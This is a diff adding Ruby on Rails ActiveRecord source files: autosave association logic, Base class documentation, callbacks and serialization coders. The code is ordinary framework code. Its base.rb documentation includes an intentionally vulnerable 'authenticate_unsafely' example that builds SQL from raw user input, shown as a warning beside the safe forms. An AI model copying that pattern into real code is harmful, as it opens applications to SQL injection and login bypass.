+            indexed_attribute = !index.nil? && (reflection.options[:index_errors] || ActiveRecord::Base.index_nested_attribute_errors)
+
+            record.errors.each do |attribute, message|
+              attribute = normalize_reflection_attribute(indexed_attribute, reflection, index, attribute)
+              errors[attribute] << message
+              errors[attribute].uniq!
+            end
+
+            record.errors.details.each_key do |attribute|
+              reflection_attribute =
+                normalize_reflection_attribute(indexed_attribute, reflection, index, attribute).to_sym
+
+              record.errors.details[attribute].each do |error|
+                errors.details[reflection_attribute] << error
+                errors.details[reflection_attribute].uniq!
+              end
+            end
+          else
+            errors.add(reflection.name)
+          end
+        end
+        valid
+      end
+
+      def normalize_reflection_attribute(indexed_attribute, reflection, index, attribute)
+        if indexed_attribute
+          "#{reflection.name}[#{index}].#{attribute}"
+        else
+          "#{reflection.name}.#{attribute}"
+        end
+      end
+
+      # Is used as a before_save callback to check while saving a collection
+      # association whether or not the parent was a new record before saving.
+      def before_save_collection_association
+        @new_record_before_save = new_record?
+      end
+
+      def after_save_collection_association
+        @new_record_before_save = false
+      end
+
+      # Saves any new associated records, or all loaded autosave associations if
+      # <tt>:autosave</tt> is enabled on the association.
+      #
+      # In addition, it destroys all children that were marked for destruction
+      # with #mark_for_destruction.
+      #
+      # This all happens inside a transaction, _if_ the Transactions module is included into
+      # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+      def save_collection_association(reflection)
+        if association = association_instance_get(reflection.name)
+          autosave = reflection.options[:autosave]
+
+          # reconstruct the scope now that we know the owner's id
+          association.reset_scope
+
+          if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+            if autosave
+              records_to_destroy = records.select(&:marked_for_destruction?)
+              records_to_destroy.each { |record| association.destroy(record) }
+              records -= records_to_destroy
+            end
+
+            records.each do |record|
+              next if record.destroyed?
+
+              saved = true
+
+              if autosave != false && (@new_record_before_save || record.new_record?)
+                if autosave
+                  saved = association.insert_record(record, false)
+                else
+                  association.insert_record(record) unless reflection.nested?
+                end
+              elsif autosave
+                saved = record.save(validate: false)
+              end
+
+              raise ActiveRecord::Rollback unless saved
+            end
+          end
+        end
+      end
+
+      # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+      # on the association.
+      #
+      # In addition, it will destroy the association if it was marked for
+      # destruction with #mark_for_destruction.
+      #
+      # This all happens inside a transaction, _if_ the Transactions module is included into
+      # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+      def save_has_one_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.load_target
+
+        if record && !record.destroyed?
+          autosave = reflection.options[:autosave]
+
+          if autosave && record.marked_for_destruction?
+            record.destroy
+          elsif autosave != false
+            key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+
+            if (autosave && record.changed_for_autosave?) || new_record? || record_changed?(reflection, record, key)
+              unless reflection.through_reflection
+                record[reflection.foreign_key] = key
+              end
+
+              saved = record.save(validate: !autosave)
+              raise ActiveRecord::Rollback if !saved && autosave
+              saved
+            end
+          end
+        end
+      end
+
+      # If the record is new or it has changed, returns true.
+      def record_changed?(reflection, record, key)
+        record.new_record? ||
+          (record.has_attribute?(reflection.foreign_key) && record[reflection.foreign_key] != key) ||
+          record.will_save_change_to_attribute?(reflection.foreign_key)
+      end
+
+      # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
+      #
+      # In addition, it will destroy the association if it was marked for destruction.
+      def save_belongs_to_association(reflection)
+        association = association_instance_get(reflection.name)
+        return unless association && association.loaded? && !association.stale_target?
+
+        record = association.load_target
+        if record && !record.destroyed?
+          autosave = reflection.options[:autosave]
+
+          if autosave && record.marked_for_destruction?
+            self[reflection.foreign_key] = nil
+            record.destroy
+          elsif autosave != false
+            saved = record.save(validate: !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
+
+            if association.updated?
+              association_id = record.send(reflection.options[:primary_key] || :id)
+              self[reflection.foreign_key] = association_id
+              association.loaded!
+            end
+
+            saved if autosave
+          end
+        end
+      end
+
+      def _ensure_no_duplicate_errors
+        errors.messages.each_key do |attribute|
+          errors[attribute].uniq!
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
new file mode 100644
index 0000000000..541ff51fbe
--- /dev/null
+++ b/activerecord/lib/active_record/base.rb
@@ -0,0 +1,329 @@
+# frozen_string_literal: true
+
+require "yaml"
+require "active_support/benchmarkable"
+require "active_support/dependencies"
+require "active_support/descendants_tracker"
+require "active_support/time"
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/hash/deep_merge"
+require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/hash/transform_values"
+require "active_support/core_ext/string/behavior"
+require "active_support/core_ext/kernel/singleton_class"
+require "active_support/core_ext/module/introspection"
+require "active_support/core_ext/object/duplicable"
+require "active_support/core_ext/class/subclasses"
+require_relative "attribute_decorators"
+require_relative "define_callbacks"
+require_relative "errors"
+require_relative "log_subscriber"
+require_relative "explain_subscriber"
+require_relative "relation/delegation"
+require_relative "attributes"
+require_relative "type_caster"
+
+module ActiveRecord #:nodoc:
+  # = Active Record
+  #
+  # Active Record objects don't specify their attributes directly, but rather infer them from
+  # the table definition with which they're linked. Adding, removing, and changing attributes
+  # and their type is done directly in the database. Any change is instantly reflected in the
+  # Active Record objects. The mapping that binds a given Active Record class to a certain
+  # database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.
+  #
+  # See the mapping rules in table_name and the full example in link:files/activerecord/README_rdoc.html for more insight.
+  #
+  # == Creation
+  #
+  # Active Records accept constructor parameters either in a hash or as a block. The hash
+  # method is especially useful when you're receiving the data from somewhere else, like an
+  # HTTP request. It works like this:
+  #
+  #   user = User.new(name: "David", occupation: "Code Artist")
+  #   user.name # => "David"
+  #
+  # You can also use block initialization:
+  #
+  #   user = User.new do |u|
+  #     u.name = "David"
+  #     u.occupation = "Code Artist"
+  #   end
+  #
+  # And of course you can just create a bare object and specify the attributes after the fact:
+  #
+  #   user = User.new
+  #   user.name = "David"
+  #   user.occupation = "Code Artist"
+  #
+  # == Conditions
+  #
+  # Conditions can either be specified as a string, array, or hash representing the WHERE-part of an SQL statement.
+  # The array form is to be used when the condition input is tainted and requires sanitization. The string form can
+  # be used for statements that don't involve tainted data. The hash form works much like the array form, except
+  # only equality and range is possible. Examples:
+  #
+  #   class User < ActiveRecord::Base
+  #     def self.authenticate_unsafely(user_name, password)
+  #       where("user_name = '#{user_name}' AND password = '#{password}'").first
+  #     end
+  #
+  #     def self.authenticate_safely(user_name, password)
+  #       where("user_name = ? AND password = ?", user_name, password).first
+  #     end
+  #
+  #     def self.authenticate_safely_simply(user_name, password)
+  #       where(user_name: user_name, password: password).first
+  #     end
+  #   end
+  #
+  # The <tt>authenticate_unsafely</tt> method inserts the parameters directly into the query
+  # and is thus susceptible to SQL-injection attacks if the <tt>user_name</tt> and +password+
+  # parameters come directly from an HTTP request. The <tt>authenticate_safely</tt> and
+  # <tt>authenticate_safely_simply</tt> both will sanitize the <tt>user_name</tt> and +password+
+  # before inserting them in the query, which will ensure that an attacker can't escape the
+  # query and fake the login (or worse).
+  #
+  # When using multiple parameters in the conditions, it can easily become hard to read exactly
+  # what the fourth or fifth question mark is supposed to represent. In those cases, you can
+  # resort to named bind variables instead. That's done by replacing the question marks with
+  # symbols and supplying a hash with values for the matching symbol keys:
+  #
+  #   Company.where(
+  #     "id = :id AND name = :name AND division = :division AND created_at > :accounting_date",
+  #     { id: 3, name: "37signals", division: "First", accounting_date: '2005-01-01' }
+  #   ).first
+  #
+  # Similarly, a simple hash without a statement will generate conditions based on equality with the SQL AND
+  # operator. For instance:
+  #
+  #   Student.where(first_name: "Harvey", status: 1)
+  #   Student.where(params[:student])
+  #
+  # A range may be used in the hash to use the SQL BETWEEN operator:
+  #
+  #   Student.where(grade: 9..12)
+  #
+  # An array may be used in the hash to use the SQL IN operator:
+  #
+  #   Student.where(grade: [9,11,12])
+  #
+  # When joining tables, nested hashes or keys written in the form 'table_name.column_name'
+  # can be used to qualify the table name of a particular condition. For instance:
+  #
+  #   Student.joins(:schools).where(schools: { category: 'public' })
+  #   Student.joins(:schools).where('schools.category' => 'public' )
+  #
+  # == Overwriting default accessors
+  #
+  # All column values are automatically available through basic accessors on the Active Record
+  # object, but sometimes you want to specialize this behavior. This can be done by overwriting
+  # the default accessors (using the same name as the attribute) and calling
+  # +super+ to actually change things.
+  #
+  #   class Song < ActiveRecord::Base
+  #     # Uses an integer of seconds to hold the length of the song
+  #
+  #     def length=(minutes)
+  #       super(minutes.to_i * 60)
+  #     end
+  #
+  #     def length
+  #       super / 60
+  #     end
+  #   end
+  #
+  # == Attribute query methods
+  #
+  # In addition to the basic accessors, query methods are also automatically available on the Active Record object.
+  # Query methods allow you to test whether an attribute value is present.
+  # Additionally, when dealing with numeric values, a query method will return false if the value is zero.
+  #
+  # For example, an Active Record User with the <tt>name</tt> attribute has a <tt>name?</tt> method that you can call
+  # to determine whether the user has a name:
+  #
+  #   user = User.new(name: "David")
+  #   user.name? # => true
+  #
+  #   anonymous = User.new(name: "")
+  #   anonymous.name? # => false
+  #
+  # == Accessing attributes before they have been typecasted
+  #
+  # Sometimes you want to be able to read the raw attribute data without having the column-determined
+  # typecast run its course first. That can be done by using the <tt><attribute>_before_type_cast</tt>
+  # accessors that all attributes have. For example, if your Account model has a <tt>balance</tt> attribute,
+  # you can call <tt>account.balance_before_type_cast</tt> or <tt>account.id_before_type_cast</tt>.
+  #
+  # This is especially useful in validation situations where the user might supply a string for an
+  # integer field and you want to display the original string back in an error message. Accessing the
+  # attribute normally would typecast the string to 0, which isn't what you want.
+  #
+  # == Dynamic attribute-based finders
+  #
+  # Dynamic attribute-based finders are a mildly deprecated way of getting (and/or creating) objects
+  # by simple queries without turning to SQL. They work by appending the name of an attribute
+  # to <tt>find_by_</tt> like <tt>Person.find_by_user_name</tt>.
+  # Instead of writing <tt>Person.find_by(user_name: user_name)</tt>, you can use
+  # <tt>Person.find_by_user_name(user_name)</tt>.
+  #
+  # It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an
+  # ActiveRecord::RecordNotFound error if they do not return any records,
+  # like <tt>Person.find_by_last_name!</tt>.
+  #
+  # It's also possible to use multiple attributes in the same <tt>find_by_</tt> by separating them with
+  # "_and_".
+  #
+  #  Person.find_by(user_name: user_name, password: password)
+  #  Person.find_by_user_name_and_password(user_name, password) # with dynamic finder
+  #
+  # It's even possible to call these dynamic finder methods on relations and named scopes.
+  #
+  #   Payment.order("created_on").find_by_amount(50)
+  #
+  # == Saving arrays, hashes, and other non-mappable objects in text columns
+  #
+  # Active Record can serialize any object in text columns using YAML. To do so, you must
+  # specify this with a call to the class method
+  # {serialize}[rdoc-ref:AttributeMethods::Serialization::ClassMethods#serialize].
+  # This makes it possible to store arrays, hashes, and other non-mappable objects without doing
+  # any additional work.
+  #
+  #   class User < ActiveRecord::Base
+  #     serialize :preferences
+  #   end
+  #
+  #   user = User.create(preferences: { "background" => "black", "display" => large })
+  #   User.find(user.id).preferences # => { "background" => "black", "display" => large }
+  #
+  # You can also specify a class option as the second parameter that'll raise an exception
+  # if a serialized object is retrieved as a descendant of a class not in the hierarchy.
+  #
+  #   class User < ActiveRecord::Base
+  #     serialize :preferences, Hash
+  #   end
+  #
+  #   user = User.create(preferences: %w( one two three ))
+  #   User.find(user.id).preferences    # raises SerializationTypeMismatch
+  #
+  # When you specify a class option, the default value for that attribute will be a new
+  # instance of that class.
+  #
+  #   class User < ActiveRecord::Base
+  #     serialize :preferences, OpenStruct
+  #   end
+  #
+  #   user = User.new
+  #   user.preferences.theme_color = "red"
+  #
+  #
+  # == Single table inheritance
+  #
+  # Active Record allows inheritance by storing the name of the class in a
+  # column that is named "type" by default. See ActiveRecord::Inheritance for
+  # more details.
+  #
+  # == Connection to multiple databases in different models
+  #
+  # Connections are usually created through
+  # {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] and retrieved
+  # by ActiveRecord::Base.connection. All classes inheriting from ActiveRecord::Base will use this
+  # connection. But you can also set a class-specific connection. For example, if Course is an
+  # ActiveRecord::Base, but resides in a different database, you can just say <tt>Course.establish_connection</tt>
+  # and Course and all of its subclasses will use this connection instead.
+  #
+  # This feature is implemented by keeping a connection pool in ActiveRecord::Base that is
+  # a hash indexed by the class. If a connection is requested, the
+  # {ActiveRecord::Base.retrieve_connection}[rdoc-ref:ConnectionHandling#retrieve_connection] method
+  # will go up the class-hierarchy until a connection is found in the connection pool.
+  #
+  # == Exceptions
+  #
+  # * ActiveRecordError - Generic error class and superclass of all other errors raised by Active Record.
+  # * AdapterNotSpecified - The configuration hash used in
+  #   {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection]
+  #   didn't include an <tt>:adapter</tt> key.
+  # * AdapterNotFound - The <tt>:adapter</tt> key used in
+  #   {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection]
+  #   specified a non-existent adapter
+  #   (or a bad spelling of an existing one).
+  # * AssociationTypeMismatch - The object assigned to the association wasn't of the type
+  #   specified in the association definition.
+  # * AttributeAssignmentError - An error occurred while doing a mass assignment through the
+  #   {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method.
+  #   You can inspect the +attribute+ property of the exception object to determine which attribute
+  #   triggered the error.
+  # * ConnectionNotEstablished - No connection has been established.
+  #   Use {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] before querying.
+  # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the
+  #   {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method.
+  #   The +errors+ property of this exception contains an array of
+  #   AttributeAssignmentError
+  #   objects that should be inspected to determine which attributes triggered the errors.
+  # * RecordInvalid - raised by {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] and
+  #   {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!]
+  #   when the record is invalid.
+  # * RecordNotFound - No record responded to the {ActiveRecord::Base.find}[rdoc-ref:FinderMethods#find] method.
+  #   Either the row with the given ID doesn't exist or the row didn't meet the additional restrictions.
+  #   Some {ActiveRecord::Base.find}[rdoc-ref:FinderMethods#find] calls do not raise this exception to signal
+  #   nothing was found, please check its documentation for further details.
+  # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter.
+  # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message.
+  #
+  # *Note*: The attributes listed are class-level attributes (accessible from both the class and instance level).
+  # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
+  # instances in the current object space.
+  class Base
+    extend ActiveModel::Naming
+
+    extend ActiveSupport::Benchmarkable
+    extend ActiveSupport::DescendantsTracker
+
+    extend ConnectionHandling
+    extend QueryCache::ClassMethods
+    extend Querying
+    extend Translation
+    extend DynamicMatchers
+    extend Explain
+    extend Enum
+    extend Delegation::DelegateCache
+    extend CollectionCacheKey
+
+    include Core
+    include Persistence
+    include ReadonlyAttributes
+    include ModelSchema
+    include Inheritance
+    include Scoping
+    include Sanitization
+    include AttributeAssignment
+    include ActiveModel::Conversion
+    include Integration
+    include Validations
+    include CounterCache
+    include Attributes
+    include AttributeDecorators
+    include Locking::Optimistic
+    include Locking::Pessimistic
+    include DefineCallbacks
+    include AttributeMethods
+    include Callbacks
+    include Timestamp
+    include Associations
+    include ActiveModel::SecurePassword
+    include AutosaveAssociation
+    include NestedAttributes
+    include Aggregations
+    include Transactions
+    include TouchLater
+    include NoTouching
+    include Reflection
+    include Serialization
+    include Store
+    include SecureToken
+    include Suppressor
+  end
+
+  ActiveSupport.run_load_hooks(:active_record, Base)
+end
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
new file mode 100644
index 0000000000..a2439e6ec7
--- /dev/null
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -0,0 +1,349 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record \Callbacks
+  #
+  # \Callbacks are hooks into the life cycle of an Active Record object that allow you to trigger logic
+  # before or after an alteration of the object state. This can be used to make sure that associated and
+  # dependent objects are deleted when {ActiveRecord::Base#destroy}[rdoc-ref:Persistence#destroy] is called (by overwriting +before_destroy+) or
+  # to massage attributes before they're validated (by overwriting +before_validation+).
+  # As an example of the callbacks initiated, consider the {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] call for a new record:
+  #
+  # * (-) <tt>save</tt>
+  # * (-) <tt>valid</tt>
+  # * (1) <tt>before_validation</tt>
+  # * (-) <tt>validate</tt>
+  # * (2) <tt>after_validation</tt>
+  # * (3) <tt>before_save</tt>
+  # * (4) <tt>before_create</tt>
+  # * (-) <tt>create</tt>
+  # * (5) <tt>after_create</tt>
+  # * (6) <tt>after_save</tt>
+  # * (7) <tt>after_commit</tt>
+  #
+  # Also, an <tt>after_rollback</tt> callback can be configured to be triggered whenever a rollback is issued.
+  # Check out ActiveRecord::Transactions for more details about <tt>after_commit</tt> and
+  # <tt>after_rollback</tt>.
+  #
+  # Additionally, an <tt>after_touch</tt> callback is triggered whenever an
+  # object is touched.
+  #
+  # Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that
+  # is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
+  # are instantiated as well.
+  #
+  # There are nineteen callbacks in total, which give you immense power to react and prepare for each state in the
+  # Active Record life cycle. The sequence for calling {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] for an existing record is similar,
+  # except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback.
+  #
+  # Examples:
+  #   class CreditCard < ActiveRecord::Base
+  #     # Strip everything but digits, so the user can specify "555 234 34" or
+  #     # "5552-3434" and both will mean "55523434"
+  #     before_validation(on: :create) do
+  #       self.number = number.gsub(/[^0-9]/, "") if attribute_present?("number")
+  #     end
+  #   end
+  #
+  #   class Subscription < ActiveRecord::Base
+  #     before_create :record_signup
+  #
+  #     private
+  #       def record_signup
+  #         self.signed_up_on = Date.today
+  #       end
+  #   end
+  #
+  #   class Firm < ActiveRecord::Base
+  #     # Disables access to the system, for associated clients and people when the firm is destroyed
+  #     before_destroy { |record| Person.where(firm_id: record.id).update_all(access: 'disabled')   }
+  #     before_destroy { |record| Client.where(client_of: record.id).update_all(access: 'disabled') }
+  #   end
+  #
+  # == Inheritable callback queues
+  #
+  # Besides the overwritable callback methods, it's also possible to register callbacks through the
+  # use of the callback macros. Their main advantage is that the macros add behavior into a callback
+  # queue that is kept intact down through an inheritance hierarchy.
+  #
+  #   class Topic < ActiveRecord::Base
+  #     before_destroy :destroy_author
+  #   end
+  #
+  #   class Reply < Topic
+  #     before_destroy :destroy_readers
+  #   end
+  #
+  # Now, when <tt>Topic#destroy</tt> is run only +destroy_author+ is called. When <tt>Reply#destroy</tt> is
+  # run, both +destroy_author+ and +destroy_readers+ are called. Contrast this to the following situation
+  # where the +before_destroy+ method is overridden:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     def before_destroy() destroy_author end
+  #   end
+  #
+  #   class Reply < Topic
+  #     def before_destroy() destroy_readers end
+  #   end
+  #
+  # In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+.
+  # So, use the callback macros when you want to ensure that a certain callback is called for the entire
+  # hierarchy, and use the regular overwritable methods when you want to leave it up to each descendant
+  # to decide whether they want to call +super+ and trigger the inherited callbacks.
+  #
+  # *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the
+  # callbacks before specifying the associations. Otherwise, you might trigger the loading of a
+  # child before the parent has registered the callbacks and they won't be inherited.
+  #
+  # == Types of callbacks
+  #
+  # There are four types of callbacks accepted by the callback macros: Method references (symbol), callback objects,
+  # inline methods (using a proc), and inline eval methods (using a string). Method references and callback objects
+  # are the recommended approaches, inline methods using a proc are sometimes appropriate (such as for
+  # creating mix-ins), and inline eval methods are deprecated.
+  #
+  # The method reference callbacks work by specifying a protected or private method available in the object, like this:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     before_destroy :delete_parents
+  #
+  #     private
+  #       def delete_parents
+  #         self.class.delete_all "parent_id = #{id}"
+  #       end
+  #   end
+  #
+  # The callback objects have methods named after the callback called with the record as the only parameter, such as:
+  #
+  #   class BankAccount < ActiveRecord::Base
+  #     before_save      EncryptionWrapper.new
+  #     after_save       EncryptionWrapper.new
+  #     after_initialize EncryptionWrapper.new
+  #   end
+  #
+  #   class EncryptionWrapper
+  #     def before_save(record)
+  #       record.credit_card_number = encrypt(record.credit_card_number)
+  #     end
+  #
+  #     def after_save(record)
+  #       record.credit_card_number = decrypt(record.credit_card_number)
+  #     end
+  #
+  #     alias_method :after_initialize, :after_save
+  #
+  #     private
+  #       def encrypt(value)
+  #         # Secrecy is committed
+  #       end
+  #
+  #       def decrypt(value)
+  #         # Secrecy is unveiled
+  #       end
+  #   end
+  #
+  # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
+  # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other
+  # initialization data such as the name of the attribute to work with:
+  #
+  #   class BankAccount < ActiveRecord::Base
+  #     before_save      EncryptionWrapper.new("credit_card_number")
+  #     after_save       EncryptionWrapper.new("credit_card_number")
+  #     after_initialize EncryptionWrapper.new("credit_card_number")
+  #   end
+  #
+  #   class EncryptionWrapper
+  #     def initialize(attribute)
+  #       @attribute = attribute
+  #     end
+  #
+  #     def before_save(record)
+  #       record.send("#{@attribute}=", encrypt(record.send("#{@attribute}")))
+  #     end
+  #
+  #     def after_save(record)
+  #       record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
+  #     end
+  #
+  #     alias_method :after_initialize, :after_save
+  #
+  #     private
+  #       def encrypt(value)
+  #         # Secrecy is committed
+  #       end
+  #
+  #       def decrypt(value)
+  #         # Secrecy is unveiled
+  #       end
+  #   end
+  #
+  # == <tt>before_validation*</tt> returning statements
+  #
+  # If the +before_validation+ callback throws +:abort+, the process will be
+  # aborted and {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] will return +false+.
+  # If {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] is called it will raise an ActiveRecord::RecordInvalid exception.
+  # Nothing will be appended to the errors object.
+  #
+  # == Canceling callbacks
+  #
+  # If a <tt>before_*</tt> callback throws +:abort+, all the later callbacks and
+  # the associated action are cancelled.
+  # Callbacks are generally run in the order they are defined, with the exception of callbacks defined as
+  # methods on the model, which are called last.
+  #
+  # == Ordering callbacks
+  #
+  # Sometimes the code needs that the callbacks execute in a specific order. For example, a +before_destroy+
+  # callback (+log_children+ in this case) should be executed before the children get destroyed by the
+  # <tt>dependent: :destroy</tt> option.
+  #
+  # Let's look at the code below:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     has_many :children, dependent: :destroy
+  #
+  #     before_destroy :log_children
+  #
+  #     private
+  #       def log_children
+  #         # Child processing
+  #       end
+  #   end
+  #
+  # In this case, the problem is that when the +before_destroy+ callback is executed, the children are not available
+  # because the {ActiveRecord::Base#destroy}[rdoc-ref:Persistence#destroy] callback gets executed first.
+  # You can use the +prepend+ option on the +before_destroy+ callback to avoid this.
+  #
+  #   class Topic < ActiveRecord::Base
+  #     has_many :children, dependent: :destroy
+  #
+  #     before_destroy :log_children, prepend: true
+  #
+  #     private
+  #       def log_children
+  #         # Child processing
+  #       end
+  #   end
+  #
+  # This way, the +before_destroy+ gets executed before the <tt>dependent: :destroy</tt> is called, and the data is still available.
+  #
+  # Also, there are cases when you want several callbacks of the same type to
+  # be executed in order.
+  #
+  # For example:
+  #
+  #   class Topic
+  #     has_many :children
+  #
+  #     after_save :log_children
+  #     after_save :do_something_else
+  #
+  #     private
+  #
+  #     def log_chidren
+  #       # Child processing
+  #     end
+  #
+  #     def do_something_else
+  #       # Something else
+  #     end
+  #   end
+  #
+  # In this case the +log_children+ gets executed before +do_something_else+.
+  # The same applies to all non-transactional callbacks.
+  #
+  # In case there are multiple transactional callbacks as seen below, the order
+  # is reversed.
+  #
+  # For example:
+  #
+  #   class Topic
+  #     has_many :children
+  #
+  #     after_commit :log_children
+  #     after_commit :do_something_else
+  #
+  #     private
+  #
+  #     def log_chidren
+  #       # Child processing
+  #     end
+  #
+  #     def do_something_else
+  #       # Something else
+  #     end
+  #   end
+  #
+  # In this case the +do_something_else+ gets executed before +log_children+.
+  #
+  # == \Transactions
+  #
+  # The entire callback chain of a {#save}[rdoc-ref:Persistence#save], {#save!}[rdoc-ref:Persistence#save!],
+  # or {#destroy}[rdoc-ref:Persistence#destroy] call runs within a transaction. That includes <tt>after_*</tt> hooks.
+  # If everything goes fine a COMMIT is executed once the chain has been completed.
+  #
+  # If a <tt>before_*</tt> callback cancels the action a ROLLBACK is issued. You
+  # can also trigger a ROLLBACK raising an exception in any of the callbacks,
+  # including <tt>after_*</tt> hooks. Note, however, that in that case the client
+  # needs to be aware of it because an ordinary {#save}[rdoc-ref:Persistence#save] will raise such exception
+  # instead of quietly returning +false+.
+  #
+  # == Debugging callbacks
+  #
+  # The callback chain is accessible via the <tt>_*_callbacks</tt> method on an object. Active Model \Callbacks support
+  # <tt>:before</tt>, <tt>:after</tt> and <tt>:around</tt> as values for the <tt>kind</tt> property. The <tt>kind</tt> property
+  # defines what part of the chain the callback runs in.
+  #
+  # To find all callbacks in the before_save callback chain:
+  #
+  #   Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }
+  #
+  # Returns an array of callback objects that form the before_save chain.
+  #
+  # To further check if the before_save chain contains a proc defined as <tt>rest_when_dead</tt> use the <tt>filter</tt> property of the callback object:
+  #
+  #   Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }.collect(&:filter).include?(:rest_when_dead)
+  #
+  # Returns true or false depending on whether the proc is contained in the before_save callback chain on a Topic model.
+  #
+  module Callbacks
+    extend ActiveSupport::Concern
+
+    CALLBACKS = [
+      :after_initialize, :after_find, :after_touch, :before_validation, :after_validation,
+      :before_save, :around_save, :after_save, :before_create, :around_create,
+      :after_create, :before_update, :around_update, :after_update,
+      :before_destroy, :around_destroy, :after_destroy, :after_commit, :after_rollback
+    ]
+
+    def destroy #:nodoc:
+      @_destroy_callback_already_called ||= false
+      return if @_destroy_callback_already_called
+      @_destroy_callback_already_called = true
+      _run_destroy_callbacks { super }
+    rescue RecordNotDestroyed => e
+      @_association_destroy_exception = e
+      false
+    ensure
+      @_destroy_callback_already_called = false
+    end
+
+    def touch(*) #:nodoc:
+      _run_touch_callbacks { super }
+    end
+
+  private
+
+    def create_or_update(*)
+      _run_save_callbacks { super }
+    end
+
+    def _create_record
+      _run_create_callbacks { super }
+    end
+
+    def _update_record(*)
+      _run_update_callbacks { super }
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/coders/json.rb b/activerecord/lib/active_record/coders/json.rb
new file mode 100644
index 0000000000..a69b38487e
--- /dev/null
+++ b/activerecord/lib/active_record/coders/json.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Coders # :nodoc:
+    class JSON # :nodoc:
+      def self.dump(obj)
+        ActiveSupport::JSON.encode(obj)
+      end
+
+      def self.load(json)
+        ActiveSupport::JSON.decode(json) unless json.blank?
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/coders/yaml_column.rb b/activerecord/lib/active_record/coders/yaml_column.rb
new file mode 100644
index 0000000000..11559141c7
--- /dev/null
+++ b/activerecord/lib/active_record/coders/yaml_column.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "yaml"
+
+module ActiveRecord
+  module Coders # :nodoc:
+    class YAMLColumn # :nodoc:
+      attr_accessor :object_class
+
+      def initialize(attr_name, object_class = Object)
+        @attr_name = attr_name
+        @object_class = object_class
+        check_arity_of_constructor
+      end
+
+      def dump(obj)
+        return if obj.nil?
+
+        assert_valid_value(obj, action: "dump")
+        YAML.dump obj
+      end
+
+      def load(yaml)
+        return object_class.new if object_class != Object && yaml.nil?
+        return yaml unless yaml.is_a?(String) && /^---/.match?(yaml)
+        obj = YAML.load(yaml)
+
+        assert_valid_value(obj, action: "load")
+        obj ||= object_class.new if object_class != Object
+
+        obj
+      end
+
+      def assert_valid_value(obj, action:)
+        unless obj.nil? || obj.is_a?(object_class)
+          raise SerializationTypeMismatch,
+            "can't #{action} `#{@attr_name}`: was supposed to be a #{object_class}, but was a #{obj.class}. -- #{obj.inspect}"
+        end
+      end
+
+      private
+
+        def check_arity_of_constructor
+          load(nil)
+        rescue ArgumentError
+          raise ArgumentError, "Cannot serialize #{object_class}. Classes passed to `serialize` must have a 0 argument constructor."
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/collection_cache_key.rb b/activerecord/lib/active_record/collection_cache_key.rb
new file mode 100644
index 0000000000..b1937a3c68
--- /dev/null
+++ b/activerecord/lib/active_record/collection_cache_key.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module CollectionCacheKey
+    def collection_cache_key(collection = all, timestamp_column = :updated_at) # :nodoc:
+      query_signature = Digest::MD5.hexdigest(collection.to_sql)
+      key = "#{collection.model_name.cache_key}/query-#{query_signature}"
+
+      if collection.loaded?
+        size = collection.size
+        if size > 0
+          timestamp = collection.max_by(&timestamp_column)._read_attribute(timestamp_column)
+        end
+      else
+        column_type = type_for_attribute(timestamp_column.to_s)
+        column = "#{connection.quote_table_name(collection.table_name)}.#{connection.quote_column_name(timestamp_column)}"
+        select_values = "COUNT(*) AS #{connection.quote_column_name("size")}, MAX(%s) AS timestamp"
+
+        if collection.has_limit_or_offset?
+          query = collection.spawn
+          query.select_values = [column]
+          subquery_alias = "subquery_for_cache_key"
